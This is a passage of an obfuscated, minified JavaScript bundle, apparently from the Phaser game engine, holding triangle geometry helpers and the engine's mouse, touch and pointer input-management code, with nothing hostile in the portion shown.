_0x4954a1), _0x30dd62 = _0x435f3c(_0x51a7c7, _0x5db4fb, _0x4863b9, _0x52db6e), _0x1f21e2 = _0x2b9526 + _0x95e9df + _0x30dd62; return _0x2575e3['x'] = (_0x4863b9 * _0x2b9526 + _0x51a7c7 * _0x95e9df + _0x424b2c * _0x30dd62) / _0x1f21e2, _0x2575e3['y'] = (_0x52db6e * _0x2b9526 + _0x5db4fb * _0x95e9df + _0x4954a1 * _0x30dd62) / _0x1f21e2, _0x2575e3; }; }, 0x3510: _0x1bbcc6 => { _0x1bbcc6['exports'] = function (_0xb9fde8, _0x14fae1, _0x5a20f8) { return _0xb9fde8['x1'] += _0x14fae1, _0xb9fde8['y1'] += _0x5a20f8, _0xb9fde8['x2'] += _0x14fae1, _0xb9fde8['y2'] += _0x5a20f8, _0xb9fde8['x3'] += _0x14fae1, _0xb9fde8['y3'] += _0x5a20f8, _0xb9fde8; }; }, 0x560: (_0x307b5f, _0x2cacfb, _0xead6a2) => { var _0x3e49fe = _0xead6a2(0x88b9); _0x307b5f['exports'] = function (_0x194d4f) { var _0x16ca35 = _0x194d4f['getLineA'](), _0x24661e = _0x194d4f['getLineB'](), _0xcfbdb0 = _0x194d4f['getLineC'](); return _0x3e49fe(_0x16ca35) + _0x3e49fe(_0x24661e) + _0x3e49fe(_0xcfbdb0); }; }, 0x16094: (_0x225873, _0x233757, _0x2d939f) => { var _0xe18cbf = _0x2d939f(0x85d); _0x225873['exports'] = function (_0x17ff47, _0x33dbeb) { void 0x0 === _0x33dbeb && (_0x33dbeb = new _0xe18cbf()); var _0x11fe90 = _0x17ff47['x2'] - _0x17ff47['x1'], _0x1043a2 = _0x17ff47['y2'] - _0x17ff47['y1'], _0x1e517b = _0x17ff47['x3'] - _0x17ff47['x1'], _0x2f4c7c = _0x17ff47['y3'] - _0x17ff47['y1'], _0x3bbb9b = Math['random'](), _0x43f451 = Math['random'](); return _0x3bbb9b + _0x43f451 >= 0x1 && (_0x3bbb9b = 0x1 - _0x3bbb9b, _0x43f451 = 0x1 - _0x43f451), _0x33dbeb['x'] = _0x17ff47['x1'] + (_0x11fe90 * _0x3bbb9b + _0x1e517b * _0x43f451), _0x33dbeb['y'] = _0x17ff47['y1'] + (_0x1043a2 * _0x3bbb9b + _0x2f4c7c * _0x43f451), _0x33dbeb; }; }, 0xcbcc: (_0x280d72, _0x236cf9, _0x5a6646) => { var _0x44f963 = _0x5a6646(0x1851e), _0xeba72 = _0x5a6646(0x9b4d); _0x280d72['exports'] = function (_0x2f2b08, _0x1a716e) { var _0x539409 = _0xeba72(_0x2f2b08); return _0x44f963(_0x2f2b08, _0x539409['x'], _0x539409['y'], _0x1a716e); }; }, 0xc2f3: (_0x47a7f4, _0x2c916a, _0x5e02f3) => { var _0x1a53d0 = _0x5e02f3(0x1851e); _0x47a7f4['exports'] = function (_0x18070a, _0x18a470, _0x54f3ff) { return _0x1a53d0(_0x18070a, _0x18a470['x'], _0x18a470['y'], _0x54f3ff); }; }, 0x1851e: _0x1dc1c1 => { _0x1dc1c1['exports'] = function (_0x3e0ad7, _0x487413, _0x2d7fc9, _0x3b9245) { var _0x30128d = Math['cos'](_0x3b9245), _0x31a5ba = Math['sin'](_0x3b9245), _0x3ebe0e = _0x3e0ad7['x1'] - _0x487413, _0x51321f = _0x3e0ad7['y1'] - _0x2d7fc9; return _0x3e0ad7['x1'] = _0x3ebe0e * _0x30128d - _0x51321f * _0x31a5ba + _0x487413, _0x3e0ad7['y1'] = _0x3ebe0e * _0x31a5ba + _0x51321f * _0x30128d + _0x2d7fc9, _0x3ebe0e = _0x3e0ad7['x2'] - _0x487413, _0x51321f = _0x3e0ad7['y2'] - _0x2d7fc9, _0x3e0ad7['x2'] = _0x3ebe0e * _0x30128d - _0x51321f * _0x31a5ba + _0x487413, _0x3e0ad7['y2'] = _0x3ebe0e * _0x31a5ba + _0x51321f * _0x30128d + _0x2d7fc9, _0x3ebe0e = _0x3e0ad7['x3'] - _0x487413, _0x51321f = _0x3e0ad7['y3'] - _0x2d7fc9, _0x3e0ad7['x3'] = _0x3ebe0e * _0x30128d - _0x51321f * _0x31a5ba + _0x487413, _0x3e0ad7['y3'] = _0x3ebe0e * _0x31a5ba + _0x51321f * _0x30128d + _0x2d7fc9, _0x3e0ad7; }; }, 0x4063: (_0x119bae, _0x4b2b29, _0x4122d4) => { var _0x2f303b = _0x4122d4(0x145db), _0x5f46e2 = _0x4122d4(0x29c2), _0x38e9a5 = _0x4122d4(0x4fd5), _0x4315bb = _0x4122d4(0x13b20), _0x3a2655 = _0x4122d4(0x5ce1), _0x1f05f1 = _0x4122d4(0x59f7), _0x54e61c = _0x4122d4(0x16094), _0x1fff58 = new _0x2f303b({ 'initialize': function (_0x4fb11b, _0x215f52, _0x1f16c4, _0x569e43, _0x35ed04, _0x46f0ce) { void 0x0 === _0x4fb11b && (_0x4fb11b = 0x0), void 0x0 === _0x215f52 && (_0x215f52 = 0x0), void 0x0 === _0x1f16c4 && (_0x1f16c4 = 0x0), void 0x0 === _0x569e43 && (_0x569e43 = 0x0), void 0x0 === _0x35ed04 && (_0x35ed04 = 0x0), void 0x0 === _0x46f0ce && (_0x46f0ce = 0x0), this['type'] = _0x3a2655['TRIANGLE'], this['x1'] = _0x4fb11b, this['y1'] = _0x215f52, this['x2'] = _0x1f16c4, this['y2'] = _0x569e43, this['x3'] = _0x35ed04, this['y3'] = _0x46f0ce; }, 'contains': function (_0x235514, _0x2f2e04) { return _0x5f46e2(this, _0x235514, _0x2f2e04); }, 'getPoint': function (_0x415bc7, _0x3f34a4) { return _0x38e9a5(this, _0x415bc7, _0x3f34a4); }, 'getPoints': function (_0x12c174, _0x21bb91, _0x5e24e0) { return _0x4315bb(this, _0x12c174, _0x21bb91, _0x5e24e0); }, 'getRandomPoint': function (_0x1ba149) { return _0x54e61c(this, _0x1ba149); }, 'setTo': function (_0x14ac3a, _0x1b5c24, _0x5d35a4, _0xc73eef, _0x430fb7, _0x3b2580) { return void 0x0 === _0x14ac3a && (_0x14ac3a = 0x0), void 0x0 === _0x1b5c24 && (_0x1b5c24 = 0x0), void 0x0 === _0x5d35a4 && (_0x5d35a4 = 0x0), void 0x0 === _0xc73eef && (_0xc73eef = 0x0), void 0x0 === _0x430fb7 && (_0x430fb7 = 0x0), void 0x0 === _0x3b2580 && (_0x3b2580 = 0x0), this['x1'] = _0x14ac3a, this['y1'] = _0x1b5c24, this['x2'] = _0x5d35a4, this['y2'] = _0xc73eef, this['x3'] = _0x430fb7, this['y3'] = _0x3b2580, this; }, 'getLineA': function (_0x4a0504) { return void 0x0 === _0x4a0504 && (_0x4a0504 = new _0x1f05f1()), _0x4a0504['setTo'](this['x1'], this['y1'], this['x2'], this['y2']), _0x4a0504; }, 'getLineB': function (_0x186b33) { return void 0x0 === _0x186b33 && (_0x186b33 = new _0x1f05f1()), _0x186b33['setTo'](this['x2'], this['y2'], this['x3'], this['y3']), _0x186b33; }, 'getLineC': function (_0x5c21de) { return void 0x0 === _0x5c21de && (_0x5c21de = new _0x1f05f1()), _0x5c21de['setTo'](this['x3'], this['y3'], this['x1'], this['y1']), _0x5c21de; }, 'left': { 'get': function () { return Math['min'](this['x1'], this['x2'], this['x3']); }, 'set': function (_0x60a7a8) { var _0x5da213 = 0x0; _0x5da213 = this['x1'] <= this['x2'] && this['x1'] <= this['x3'] ? this['x1'] - _0x60a7a8 : this['x2'] <= this['x1'] && this['x2'] <= this['x3'] ? this['x2'] - _0x60a7a8 : this['x3'] - _0x60a7a8, this['x1'] -= _0x5da213, this['x2'] -= _0x5da213, this['x3'] -= _0x5da213; } }, 'right': { 'get': function () { return Math['max'](this['x1'], this['x2'], this['x3']); }, 'set': function (_0x56f764) { var _0x17b2f1 = 0x0; _0x17b2f1 = this['x1'] >= this['x2'] && this['x1'] >= this['x3'] ? this['x1'] - _0x56f764 : this['x2'] >= this['x1'] && this['x2'] >= this['x3'] ? this['x2'] - _0x56f764 : this['x3'] - _0x56f764, this['x1'] -= _0x17b2f1, this['x2'] -= _0x17b2f1, this['x3'] -= _0x17b2f1; } }, 'top': { 'get': function () { return Math['min'](this['y1'], this['y2'], this['y3']); }, 'set': function (_0x2162a4) { var _0x22debc = 0x0; _0x22debc = this['y1'] <= this['y2'] && this['y1'] <= this['y3'] ? this['y1'] - _0x2162a4 : this['y2'] <= this['y1'] && this['y2'] <= this['y3'] ? this['y2'] - _0x2162a4 : this['y3'] - _0x2162a4, this['y1'] -= _0x22debc, this['y2'] -= _0x22debc, this['y3'] -= _0x22debc; } }, 'bottom': { 'get': function () { return Math['max'](this['y1'], this['y2'], this['y3']); }, 'set': function (_0x253636) { var _0x13a900 = 0x0; _0x13a900 = this['y1'] >= this['y2'] && this['y1'] >= this['y3'] ? this['y1'] - _0x253636 : this['y2'] >= this['y1'] && this['y2'] >= this['y3'] ? this['y2'] - _0x253636 : this['y3'] - _0x253636, this['y1'] -= _0x13a900, this['y2'] -= _0x13a900, this['y3'] -= _0x13a900; } } }); _0x119bae['exports'] = _0x1fff58; }, 0x149d3: (_0xdf7329, _0x1585f0, _0x3f64a4) => { var _0x17a8c4 = _0x3f64a4(0x4063); _0x17a8c4['Area'] = _0x3f64a4(0xa2ba), _0x17a8c4['BuildEquilateral'] = _0x3f64a4(0x9928), _0x17a8c4['BuildFromPolygon'] = _0x3f64a4(0x9a79), _0x17a8c4['BuildRight'] = _0x3f64a4(0x160bd), _0x17a8c4['CenterOn'] = _0x3f64a4(0x5c9b), _0x17a8c4['Centroid'] = _0x3f64a4(0x17cf3), _0x17a8c4['CircumCenter'] = _0x3f64a4(0x6177), _0x17a8c4['CircumCircle'] = _0x3f64a4(0x14e6e), _0x17a8c4['Clone'] = _0x3f64a4(0x122b6), _0x17a8c4['Contains'] = _0x3f64a4(0x29c2), _0x17a8c4['ContainsArray'] = _0x3f64a4(0xbe0d), _0x17a8c4['ContainsPoint'] = _0x3f64a4(0x17706), _0x17a8c4['CopyFrom'] = _0x3f64a4(0x1169e), _0x17a8c4['Decompose'] = _0x3f64a4(0x1180e), _0x17a8c4['Equals'] = _0x3f64a4(0x82f2), _0x17a8c4['GetPoint'] = _0x3f64a4(0x4fd5), _0x17a8c4['GetPoints'] = _0x3f64a4(0x13b20), _0x17a8c4['InCenter'] = _0x3f64a4(0x9b4d), _0x17a8c4['Perimeter'] = _0x3f64a4(0x560), _0x17a8c4['Offset'] = _0x3f64a4(0x3510), _0x17a8c4['Random'] = _0x3f64a4(0x16094), _0x17a8c4['Rotate'] = _0x3f64a4(0xcbcc), _0x17a8c4['RotateAroundPoint'] = _0x3f64a4(0xc2f3), _0x17a8c4['RotateAroundXY'] = _0x3f64a4(0x1851e), _0xdf7329['exports'] = _0x17a8c4; }, 0x122d9: _0x58b028 => { _0x58b028['exports'] = function (_0x49bf9c, _0x31cbc0, _0x1cb06d) { return { 'gameObject': _0x49bf9c, 'enabled': !0x0, 'draggable': !0x1, 'dropZone': !0x1, 'cursor': !0x1, 'target': null, 'camera': null, 'hitArea': _0x31cbc0, 'hitAreaCallback': _0x1cb06d, 'hitAreaDebug': null, 'customHitArea': !0x1, 'localX': 0x0, 'localY': 0x0, 'dragState': 0x0, 'dragStartX': 0x0, 'dragStartY': 0x0, 'dragStartXGlobal': 0x0, 'dragStartYGlobal': 0x0, 'dragStartCamera': null, 'dragX': 0x0, 'dragY': 0x0 }; }; }, 0x149b9: _0x8c4bc0 => { _0x8c4bc0['exports'] = function (_0x25560b, _0x2441d5) { return function (_0x229954, _0x4033b1, _0x101cbe, _0x4a25fa) { var _0x52f0ab = _0x25560b['getPixelAlpha'](_0x4033b1, _0x101cbe, _0x4a25fa['texture']['key'], _0x4a25fa['frame']['name']); return _0x52f0ab && _0x52f0ab >= _0x2441d5; }; }; }, 0x1b5b: (_0x23f8ab, _0xd3c2ab, _0xef79d1) => { var _0x50616c = _0xef79d1(0x145db), _0x524a46 = _0xef79d1(0x16c75), _0xb05a5c = _0xef79d1(0xc668), _0x1888c6 = _0xef79d1(0x2016), _0xdf8e21 = _0xef79d1(0x20fb), _0x15587f = _0xef79d1(0x1347a), _0x21f5ab = _0xef79d1(0x14c6a), _0x347f1a = _0xef79d1(0xa613), _0xa1a073 = _0xef79d1(0x8d72), _0x190135 = _0xef79d1(0xef9c), _0x850743 = _0xef79d1(0x14fc3), _0x2696d4 = new _0x50616c({ 'initialize': function (_0x1d9f51, _0x565ccd) { this['game'] = _0x1d9f51, this['scaleManager'], this['canvas'], this['config'] = _0x565ccd, this['enabled'] = !0x0, this['events'] = new _0xb05a5c(), this['isOver'] = !0x0, this['defaultCursor'] = '', this['keyboard'] = _0x565ccd['inputKeyboard'] ? new _0x15587f(this) : null, this['mouse'] = _0x565ccd['inputMouse'] ? new _0x21f5ab(this) : null, this['touch'] = _0x565ccd['inputTouch'] ? new _0xa1a073(this) : null, this['pointers'] = [], this['pointersTotal'] = _0x565ccd['inputActivePointers']; for (var _0x5e6f4f = 0x0; _0x5e6f4f <= this['pointersTotal']; _0x5e6f4f++) { var _0x30c514 = new _0x347f1a(this, _0x5e6f4f); _0x30c514['smoothFactor'] = _0x565ccd['inputSmoothFactor'], this['pointers']['push'](_0x30c514); } this['mousePointer'] = _0x565ccd['inputMouse'] ? this['pointers'][0x0] : null, this['activePointer'] = this['pointers'][0x0], this['globalTopOnly'] = !0x0, this['time'] = 0x0, this['_tempPoint'] = { 'x': 0x0, 'y': 0x0 }, this['_tempHitTest'] = [], this['_tempMatrix'] = new _0x190135(), this['_tempMatrix2'] = new _0x190135(), this['_tempSkip'] = !0x1, this['mousePointerContainer'] = [this['mousePointer']], _0x1d9f51['events']['once'](_0xdf8e21['BOOT'], this['boot'], this); }, 'boot': function () { var _0x31b853 = this['game'], _0x13ec29 = _0x31b853['events']; this['canvas'] = _0x31b853['canvas'], this['scaleManager'] = _0x31b853['scale'], this['events']['emit'](_0x1888c6['MANAGER_BOOT']), _0x13ec29['on'](_0xdf8e21['PRE_RENDER'], this['preRender'], this), _0x13ec29['once'](_0xdf8e21['DESTROY'], this['destroy'], this); }, 'setCanvasOver': function (_0x230d9c) { this['isOver'] = !0x0, this['events']['emit'](_0x1888c6['GAME_OVER'], _0x230d9c); }, 'setCanvasOut': function (_0x553785) { this['isOver'] = !0x1, this['events']['emit'](_0x1888c6['GAME_OUT'], _0x553785); }, 'preRender': function () { var _0x12a463 = this['game']['loop']['now'], _0x4ebec4 = this['game']['loop']['delta'], _0x600f06 = this['game']['scene']['getScenes'](!0x0, !0x0); this['time'] = _0x12a463, this['events']['emit'](_0x1888c6['MANAGER_UPDATE']); for (var _0x1ef5b3 = 0x0; _0x1ef5b3 < _0x600f06['length']; _0x1ef5b3++) { var _0x3c541d = _0x600f06[_0x1ef5b3]; if (_0x3c541d['sys']['input'] && _0x3c541d['sys']['input']['updatePoll'](_0x12a463, _0x4ebec4) && this['globalTopOnly']) return; } }, 'setDefaultCursor': function (_0x160ca4) { this['defaultCursor'] = _0x160ca4, this['canvas']['style']['cursor'] !== _0x160ca4 && (this['canvas']['style']['cursor'] = _0x160ca4); }, 'setCursor': function (_0x25c27f) { _0x25c27f['cursor'] && (this['canvas']['style']['cursor'] = _0x25c27f['cursor']); }, 'resetCursor': function (_0x3769a7, _0x16ae32) { (_0x16ae32 || _0x3769a7 && _0x3769a7['cursor']) && this['canvas'] && (this['canvas']['style']['cursor'] = this['defaultCursor']); }, 'addPointer': function (_0x195b80) { void 0x0 === _0x195b80 && (_0x195b80 = 0x1); var _0x5eca94 = []; this['pointersTotal'] + _0x195b80 > 0xa && (_0x195b80 = 0xa - this['pointersTotal']); for (var _0x11d6b2 = 0x0; _0x11d6b2 < _0x195b80; _0x11d6b2++) { var _0x3a33de = this['pointers']['length'], _0x1663c4 = new _0x347f1a(this, _0x3a33de); _0x1663c4['smoothFactor'] = this['config']['inputSmoothFactor'], this['pointers']['push'](_0x1663c4), this['pointersTotal']++, _0x5eca94['push'](_0x1663c4); } return _0x5eca94; }, 'updateInputPlugins': function (_0x5aa407, _0x2b031b) { var _0x4a2602 = this['game']['scene']['getScenes'](!0x1, !0x0); this['_tempSkip'] = !0x1; for (var _0x407ac5 = 0x0; _0x407ac5 < _0x4a2602['length']; _0x407ac5++) { var _0x13b92d = _0x4a2602[_0x407ac5]; if (_0x13b92d['sys']['input'] && (_0x13b92d['sys']['input']['update'](_0x5aa407, _0x2b031b) && this['globalTopOnly'] || this['_tempSkip'])) return; } }, 'onTouchStart': function (_0x1247f3) { for (var _0xce94c9 = this['pointers'], _0x4b629b = [], _0x486ab8 = 0x0; _0x486ab8 < _0x1247f3['changedTouches']['length']; _0x486ab8++)for (var _0x188e71 = _0x1247f3['changedTouches'][_0x486ab8], _0x3e5a73 = 0x1; _0x3e5a73 < _0xce94c9['length']; _0x3e5a73++) { var _0x35706e = _0xce94c9[_0x3e5a73]; if (!_0x35706e['active']) { _0x35706e['touchstart'](_0x188e71, _0x1247f3), this['activePointer'] = _0x35706e, _0x4b629b['push'](_0x35706e); break; } } this['updateInputPlugins'](_0x524a46['TOUCH_START'], _0x4b629b); }, 'onTouchMove': function (_0x3bc265) { for (var _0x3b2ea2 = this['pointers'], _0xf445c9 = [], _0x29cbf4 = 0x0; _0x29cbf4 < _0x3bc265['changedTouches']['length']; _0x29cbf4++)for (var _0x33dbde = _0x3bc265['changedTouches'][_0x29cbf4], _0x3e41ed = 0x1; _0x3e41ed < _0x3b2ea2['length']; _0x3e41ed++) { var _0x329bb1 = _0x3b2ea2[_0x3e41ed]; if (_0x329bb1['active'] && _0x329bb1['identifier'] === _0x33dbde['identifier']) { var _0x2902fc = document['elementFromPoint'](_0x33dbde['clientX'], _0x33dbde['clientY']) === this['canvas']; !this['isOver'] && _0x2902fc ? this['setCanvasOver'](_0x3bc265) : this['isOver'] && !_0x2902fc && this['setCanvasOut'](_0x3bc265), this['isOver'] && (_0x329bb1['touchmove'](_0x33dbde, _0x3bc265), this['activePointer'] = _0x329bb1, _0xf445c9['push'](_0x329bb1)); break; } } this['updateInputPlugins'](_0x524a46['TOUCH_MOVE'], _0xf445c9); }, 'onTouchEnd': function (_0x1199a5) { for (var _0x2bfeb9 = this['pointers'], _0x3b7067 = [], _0x596ddf = 0x0; _0x596ddf < _0x1199a5['changedTouches']['length']; _0x596ddf++)for (var _0x4179a5 = _0x1199a5['changedTouches'][_0x596ddf], _0x13189c = 0x1; _0x13189c < _0x2bfeb9['length']; _0x13189c++) { var _0x8244db = _0x2bfeb9[_0x13189c]; if (_0x8244db['active'] && _0x8244db['identifier'] === _0x4179a5['identifier']) { _0x8244db['touchend'](_0x4179a5, _0x1199a5), _0x3b7067['push'](_0x8244db); break; } } this['updateInputPlugins'](_0x524a46['TOUCH_END'], _0x3b7067); }, 'onTouchCancel': function (_0x4dea7f) { for (var _0x58c901 = this['pointers'], _0x1edddf = [], _0x5d06f5 = 0x0; _0x5d06f5 < _0x4dea7f['changedTouches']['length']; _0x5d06f5++)for (var _0x31c702 = _0x4dea7f['changedTouches'][_0x5d06f5], _0x4e3494 = 0x1; _0x4e3494 < _0x58c901['length']; _0x4e3494++) { var _0x179984 = _0x58c901[_0x4e3494]; if (_0x179984['active'] && _0x179984['identifier'] === _0x31c702['identifier']) { _0x179984['touchcancel'](_0x31c702, _0x4dea7f), _0x1edddf['push'](_0x179984); break; } } this['updateInputPlugins'](_0x524a46['TOUCH_CANCEL'], _0x1edddf); }, 'onMouseDown': function (_0x3c0c4f) { var _0x32b8f6 = this['mousePointer']; _0x32b8f6['down'](_0x3c0c4f), _0x32b8f6['updateMotion'](), this['activePointer'] = _0x32b8f6, this['updateInputPlugins'](_0x524a46['MOUSE_DOWN'], this['mousePointerContainer']); }, 'onMouseMove': function (_0x2a9a56) { var _0x546867 = this['mousePointer']; _0x546867['move'](_0x2a9a56), _0x546867['updateMotion'](), this['activePointer'] = _0x546867, this['updateInputPlugins'](_0x524a46['MOUSE_MOVE'], this['mousePointerContainer']); }, 'onMouseUp': function (_0x2f494d) { var _0x3d7b68 = this['mousePointer']; _0x3d7b68['up'](_0x2f494d), _0x3d7b68['updateMotion'](), this['activePointer'] = _0x3d7b68, this['updateInputPlugins'](_0x524a46['MOUSE_UP'], this['mousePointerContainer']); }, 'onMouseWheel': function (_0x50a3d1) { var _0x13d888 = this['mousePointer']; _0x13d888['wheel'](_0x50a3d1), this['activePointer'] = _0x13d888, this['updateInputPlugins'](_0x524a46['MOUSE_WHEEL'], this['mousePointerContainer']); }, 'onPointerLockChange': function (_0x201aea) { var _0x438312 = this['mouse']['locked']; this['mousePointer']['locked'] = _0x438312, this['events']['emit'](_0x1888c6['POINTERLOCK_CHANGE'], _0x201aea, _0x438312); }, 'inputCandidate': function (_0x133c9d, _0xe33075) { var _0x241fb1 = _0x133c9d['input']; if (!_0x241fb1 || !_0x241fb1['enabled'] || !_0x133c9d['willRender'](_0xe33075)) return !0x1; var _0x4e3cb4 = !0x0, _0x5e8bbc = _0x133c9d['parentContainer']; if (_0x5e8bbc) do { if (!_0x5e8bbc['willRender'](_0xe33075)) { _0x4e3cb4 = !0x1; break; } _0x5e8bbc = _0x5e8bbc['parentContainer']; } while (_0x5e8bbc); return _0x4e3cb4; }, 'hitTest': function (_0x4a8dde, _0x3e989a, _0x411809, _0x17d49c) { void 0x0 === _0x17d49c && (_0x17d49c = this['_tempHitTest']); var _0x1028e3 = this['_tempPoint'], _0x45fd63 = _0x411809['scrollX'], _0x301ecd = _0x411809['scrollY']; _0x17d49c['length'] = 0x0; var _0xe09024 = _0x4a8dde['x'], _0x125e8e = _0x4a8dde['y']; _0x411809['getWorldPoint'](_0xe09024, _0x125e8e, _0x1028e3), _0x4a8dde['worldX'] = _0x1028e3['x'], _0x4a8dde['worldY'] = _0x1028e3['y']; for (var _0x116ac7 = { 'x': 0x0, 'y': 0x0 }, _0x24093a = this['_tempMatrix'], _0x4f84e2 = this['_tempMatrix2'], _0x2b1d2e = 0x0; _0x2b1d2e < _0x3e989a['length']; _0x2b1d2e++) { var _0x4a8df7 = _0x3e989a[_0x2b1d2e]; if (this['inputCandidate'](_0x4a8df7, _0x411809)) { var _0x1bde3d = _0x1028e3['x'] + _0x45fd63 * _0x4a8df7['scrollFactorX'] - _0x45fd63, _0x46c5bf = _0x1028e3['y'] + _0x301ecd * _0x4a8df7['scrollFactorY'] - _0x301ecd; _0x4a8df7['parentContainer'] ? (_0x4a8df7['getWorldTransformMatrix'](_0x24093a, _0x4f84e2), _0x24093a['applyInverse'](_0x1bde3d, _0x46c5bf, _0x116ac7)) : _0x850743(_0x1bde3d, _0x46c5bf, _0x4a8df7['x'], _0x4a8df7['y'], _0x4a8df7['rotation'], _0x4a8df7['scaleX'], _0x4a8df7['scaleY'], _0x116ac7), this['pointWithinHitArea'](_0x4a8df7, _0x116ac7['x'], _0x116ac7['y']) && _0x17d49c['push'](_0x4a8df7); } } return _0x17d49c; }, 'pointWithinHitArea': function (_0x29db2e, _0x2060fc, _0x341b6f) { _0x2060fc += _0x29db2e['displayOriginX'], _0x341b6f += _0x29db2e['displayOriginY']; var _0x4c50f9 = _0x29db2e['input']; return !(!_0x4c50f9 || !_0x4c50f9['hitAreaCallback'](_0x4c50f9['hitArea'], _0x2060fc, _0x341b6f, _0x29db2e) || (_0x4c50f9['localX'] = _0x2060fc, _0x4c50f9['localY'] = _0x341b6f, 0x0)); }, 'pointWithinInteractiveObject': function (_0x2d1f2a, _0x4b1398, _0x48950c) { return !!_0x2d1f2a['hitArea'] && (_0x4b1398 += _0x2d1f2a['gameObject']['displayOriginX'], _0x48950c += _0x2d1f2a['gameObject']['displayOriginY'], _0x2d1f2a['localX'] = _0x4b1398, _0x2d1f2a['localY'] = _0x48950c, _0x2d1f2a['hitAreaCallback'](_0x2d1f2a['hitArea'], _0x4b1398, _0x48950c, _0x2d1f2a)); }, 'transformPointer': function (_0x28a3e1, _0x1f230d, _0x411300, _0x16d52f) { var _0xa24e13 = _0x28a3e1['position'], _0x5b52bf = _0x28a3e1['prevPosition']; _0x5b52bf['x'] = _0xa24e13['x'], _0x5b52bf['y'] = _0xa24e13['y']; var _0x138bcc = this['scaleManager']['transformX'](_0x1f230d), _0x242d29 = this['scaleManager']['transformY'](_0x411300), _0xf829ef = _0x28a3e1['smoothFactor']; _0x16d52f && 0x0 !== _0xf829ef ? (_0xa24e13['x'] = _0x138bcc * _0xf829ef + _0x5b52bf['x'] * (0x1 - _0xf829ef), _0xa24e13['y'] = _0x242d29 * _0xf829ef + _0x5b52bf['y'] * (0x1 - _0xf829ef)) : (_0xa24e13['x'] = _0x138bcc, _0xa24e13['y'] = _0x242d29); }, 'destroy': function () { this['events']['removeAllListeners'](), this['game']['events']['off'](_0xdf8e21['PRE_RENDER']), this['keyboard'] && this['keyboard']['destroy'](), this['mouse'] && this['mouse']['destroy'](), this['touch'] && this['touch']['destroy'](); for (var _0xc21f2 = 0x0; _0xc21f2 < this['pointers']['length']; _0xc21f2++)this['pointers'][_0xc21f2]['destroy'](); this['pointers'] = [], this['_tempHitTest'] = [], this['_tempMatrix']['destroy'](), this['canvas'] = null, this['game'] = null; } }); _0x23f8ab['exports'] = _0x2696d4; }, 0xbc4d: (_0x54f273, _0xd47039, _0x6d803) => { var _0x1996ad = _0x6d803(0x178f7), _0x50ee9e = _0x6d803(0x1575e), _0x193ef5 = _0x6d803(0x145db), _0x18a092 = _0x6d803(0x16c75), _0x160e68 = _0x6d803(0x122d9), _0x107794 = _0x6d803(0x149b9), _0x2bb466 = _0x6d803(0x4f73), _0x1c2e01 = _0x6d803(0x2131), _0x2aed89 = _0x6d803(0x13d02), _0x1a0ca2 = _0x6d803(0x2016), _0x603eba = _0x6d803(0xc668), _0x367b5d = _0x6d803(0x17534), _0x2fa5d1 = _0x6d803(0x5ce1), _0x2e42c7 = _0x6d803(0x15e27), _0x56e008 = _0x6d803(0xa0fc), _0x9cfd39 = _0x6d803(0x919d), _0x4d434a = _0x6d803(0x15721), _0x5f0c97 = _0x6d803(0x91b7), _0x17c487 = _0x6d803(0xae32), _0x2ae553 = _0x6d803(0x4063), _0x35aaf4 = _0x6d803(0x29c2), _0x2d731e = new _0x193ef5({ 'Extends': _0x603eba, 'initialize': function (_0x5b5963) { _0x603eba['call'](this), this['scene'] = _0x5b5963, this['systems'] = _0x5b5963['sys'], this['settings'] = _0x5b5963['sys']['settings'], this['manager'] = _0x5b5963['sys']['game']['input'], this['pluginEvents'] = new _0x603eba(), this['enabled'] = !0x0, this['displayList'], this['cameras'], _0x2e42c7['install'](this), this['mouse'] = this['manager']['mouse'], this['topOnly'] = !0x0, this['pollRate'] = -0x1, this['_pollTimer'] = 0x0; var _0x52b240 = { 'cancelled': !0x1 }; this['_eventContainer'] = { 'stopPropagation': function () { _0x52b240['cancelled'] = !0x0; } }, this['_eventData'] = _0x52b240, this['dragDistanceThreshold'] = 0x0, this['dragTimeThreshold'] = 0x0, this['_temp'] = [], this['_tempZones'] = [], this['_list'] = [], this['_pendingInsertion'] = [], this['_pendingRemoval'] = [], this['_draggable'] = [], this['_drag'] = { 0x0: [], 0x1: [], 0x2: [], 0x3: [], 0x4: [], 0x5: [], 0x6: [], 0x7: [], 0x8: [], 0x9: [], 0xa: [] }, this['_dragState'] = [], this['_over'] = { 0x0: [], 0x1: [], 0x2: [], 0x3: [], 0x4: [], 0x5: [], 0x6: [], 0x7: [], 0x8: [], 0x9: [], 0xa: [] }, this['_validTypes'] = ['onDown', 'onUp', 'onOver', 'onOut', 'onMove', 'onDragStart', 'onDrag', 'onDragEnd', 'onDragEnter', 'onDragLeave', 'onDragOver', 'onDrop'], this['_updatedThisFrame'] = !0x1, _0x5b5963['sys']['events']['once'](_0x17c487['BOOT'], this['boot'], this), _0x5b5963['sys']['events']['on'](_0x17c487['START'], this['start'], this); }, 'boot': function () { this['cameras'] = this['systems']['cameras'], this['displayList'] = this['systems']['displayList'], this['systems']['events']['once'](_0x17c487['DESTROY'], this['destroy'], this), this['pluginEvents']['emit'](_0x1a0ca2['BOOT']); }, 'start': function () { var _0x446cc8 = this['systems']['events']; _0x446cc8['on'](_0x17c487['TRANSITION_START'], this['transitionIn'], this), _0x446cc8['on'](_0x17c487['TRANSITION_OUT'], this['transitionOut'], this), _0x446cc8['on'](_0x17c487['TRANSITION_COMPLETE'], this['transitionComplete'], this), _0x446cc8['on'](_0x17c487['PRE_UPDATE'], this['preUpdate'], this), _0x446cc8['once'](_0x17c487['SHUTDOWN'], this['shutdown'], this), this['manager']['events']['on'](_0x1a0ca2['GAME_OUT'], this['onGameOut'], this), this['manager']['events']['on'](_0x1a0ca2['GAME_OVER'], this['onGameOver'], this), this['enabled'] = !0x0, this['_dragState'] = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], this['pluginEvents']['emit'](_0x1a0ca2['START']); }, 'onGameOver': function (_0x1ba989) { this['isActive']() && this['emit'](_0x1a0ca2['GAME_OVER'], _0x1ba989['timeStamp'], _0x1ba989); }, 'onGameOut': function (_0xf5bc80) { this['isActive']() && this['emit'](_0x1a0ca2['GAME_OUT'], _0xf5bc80['timeStamp'], _0xf5bc80); }, 'preUpdate': function () { this['pluginEvents']['emit'](_0x1a0ca2['PRE_UPDATE']); var _0x2fd8a8 = this['_pendingRemoval'], _0x1c3d3b = this['_pendingInsertion'], _0x2a0e22 = _0x2fd8a8['length'], _0x1b307a = _0x1c3d3b['length']; if (0x0 !== _0x2a0e22 || 0x0 !== _0x1b307a) { for (var _0x315cf8 = this['_list'], _0x43505e = 0x0; _0x43505e < _0x2a0e22; _0x43505e++) { var _0x17d3fd = _0x2fd8a8[_0x43505e], _0x55aba0 = 